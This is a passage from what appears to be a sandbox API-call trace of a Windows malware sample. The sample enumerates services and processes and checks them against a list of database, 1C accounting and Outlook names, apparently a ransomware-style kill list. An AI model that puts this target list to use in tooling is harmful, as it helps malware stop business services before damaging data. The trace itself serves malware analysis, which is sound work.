(lpString="AudioEndpointBuilder") returned 20 [0257.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0257.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0257.758] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0257.758] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0257.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0257.758] lstrlenW (lpString="AudioSrv") returned 8 [0257.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0257.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0257.759] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0257.759] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0257.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0257.759] lstrlenW (lpString="BFE") returned 3 [0257.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0257.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0257.759] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0257.759] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0257.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0257.759] lstrlenW (lpString="CryptSvc") returned 8 [0257.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0257.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0257.760] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0257.760] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0257.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0257.760] lstrlenW (lpString="CscService") returned 10 [0257.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0257.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0257.760] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0257.760] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0257.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0257.760] lstrlenW (lpString="DcomLaunch") returned 10 [0257.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0257.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0257.760] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0257.761] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0257.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0257.761] lstrlenW (lpString="Dhcp") returned 4 [0257.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0257.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0257.761] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0257.761] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0257.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0257.761] lstrlenW (lpString="Dnscache") returned 8 [0257.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0257.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0257.761] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0257.761] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0257.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0257.762] lstrlenW (lpString="DPS") returned 3 [0257.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0257.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0257.762] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0257.762] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0257.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0257.762] lstrlenW (lpString="eventlog") returned 8 [0257.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0257.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0257.762] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0257.762] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0257.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0257.763] lstrlenW (lpString="EventSystem") returned 11 [0257.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0257.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0257.763] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0257.763] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0257.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0257.763] lstrlenW (lpString="gpsvc") returned 5 [0257.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0257.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0257.763] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0257.763] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0257.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0257.763] lstrlenW (lpString="iphlpsvc") returned 8 [0257.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0257.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0257.764] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0257.764] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0257.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0257.764] lstrlenW (lpString="LanmanServer") returned 12 [0257.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0257.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0257.764] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0257.764] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0257.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0257.764] lstrlenW (lpString="LanmanWorkstation") returned 17 [0257.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0257.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0257.764] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0257.764] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0257.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0257.765] lstrlenW (lpString="lmhosts") returned 7 [0257.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0257.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0257.765] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0257.765] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0257.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0257.765] lstrlenW (lpString="MMCSS") returned 5 [0257.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0257.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0257.765] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0257.765] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0257.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0257.766] lstrlenW (lpString="MpsSvc") returned 6 [0257.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0257.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0257.766] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0257.766] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0257.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0257.766] lstrlenW (lpString="Netman") returned 6 [0257.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0257.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0257.766] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0257.766] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0257.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0257.767] lstrlenW (lpString="netprofm") returned 8 [0257.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0257.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0257.767] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0257.767] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0257.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0257.767] lstrlenW (lpString="NlaSvc") returned 6 [0257.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0257.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0257.767] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0257.767] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0257.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0257.767] lstrlenW (lpString="nsi") returned 3 [0257.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0257.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0257.768] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0257.768] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0257.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0257.768] lstrlenW (lpString="PcaSvc") returned 6 [0257.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0257.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0257.771] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0257.771] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0257.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0257.771] lstrlenW (lpString="PlugPlay") returned 8 [0257.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0257.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0257.771] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0257.771] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0257.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0257.771] lstrlenW (lpString="Power") returned 5 [0257.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0257.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0257.772] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0257.772] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0257.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0257.772] lstrlenW (lpString="ProfSvc") returned 7 [0257.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0257.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0257.772] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0257.772] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0257.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0257.772] lstrlenW (lpString="RpcEptMapper") returned 12 [0257.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0257.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0257.772] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0257.772] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0257.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0257.773] lstrlenW (lpString="RpcSs") returned 5 [0257.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0257.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0257.773] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0257.773] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0257.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0257.773] lstrlenW (lpString="SamSs") returned 5 [0257.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0257.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0257.773] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0257.773] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0257.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0257.774] lstrlenW (lpString="Schedule") returned 8 [0257.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0257.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0257.774] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0257.774] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0257.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0257.774] lstrlenW (lpString="SENS") returned 4 [0257.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0257.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0257.774] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0257.774] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0257.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0257.774] lstrlenW (lpString="ShellHWDetection") returned 16 [0257.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0257.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0257.775] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0257.775] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0257.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0257.775] lstrlenW (lpString="Spooler") returned 7 [0257.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0257.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0257.775] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0257.775] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0257.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0257.775] lstrlenW (lpString="SysMain") returned 7 [0257.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0257.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0257.776] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0257.776] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0257.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0257.776] lstrlenW (lpString="Themes") returned 6 [0257.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0257.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0257.776] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0257.776] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0257.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0257.776] lstrlenW (lpString="TrkWks") returned 6 [0257.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0257.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0257.777] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0257.777] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0257.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0257.777] lstrlenW (lpString="UxSms") returned 5 [0257.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0257.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0257.777] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0257.777] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0257.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0257.777] lstrlenW (lpString="WdiServiceHost") returned 14 [0257.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0257.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0257.777] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0257.777] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0257.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0257.778] lstrlenW (lpString="WdiSystemHost") returned 13 [0257.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0257.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0257.778] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0257.778] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0257.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0257.778] lstrlenW (lpString="Winmgmt") returned 7 [0257.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0257.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0257.778] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0257.778] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0257.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0257.779] lstrlenW (lpString="WPDBusEnum") returned 10 [0257.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0257.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0257.779] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0257.779] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0257.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0257.779] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42e5000 | out: hHeap=0x590000) returned 1 [0257.779] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x394 [0257.783] Process32FirstW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.787] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0257.788] lstrlenW (lpString="System") returned 6 [0257.788] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0257.788] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0257.788] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0257.789] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0257.789] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0257.789] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0257.789] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0257.789] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0257.790] lstrlenW (lpString="smss.exe") returned 8 [0257.790] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0257.790] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0257.790] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0257.790] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0257.790] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0257.790] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0257.790] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0257.790] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0257.791] lstrlenW (lpString="csrss.exe") returned 9 [0257.791] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0257.791] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0257.792] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0257.792] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0257.792] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0257.792] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0257.792] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0257.792] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0257.793] lstrlenW (lpString="wininit.exe") returned 11 [0257.793] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0257.793] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0257.793] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0257.793] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0257.793] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0257.794] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0257.794] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0257.794] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0257.795] lstrlenW (lpString="csrss.exe") returned 9 [0257.795] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0257.795] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0257.795] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0257.795] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0257.795] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0257.795] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0257.795] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0257.795] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0257.796] lstrlenW (lpString="winlogon.exe") returned 12 [0257.796] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0257.796] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0257.797] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0257.797] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0257.797] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0257.798] lstrlenW (lpString="services.exe") returned 12 [0257.798] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0257.799] lstrlenW (lpString="lsass.exe") returned 9 [0257.799] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0258.315] lstrlenW (lpString="lsm.exe") returned 7 [0258.316] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.317] lstrlenW (lpString="svchost.exe") returned 11 [0258.317] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: 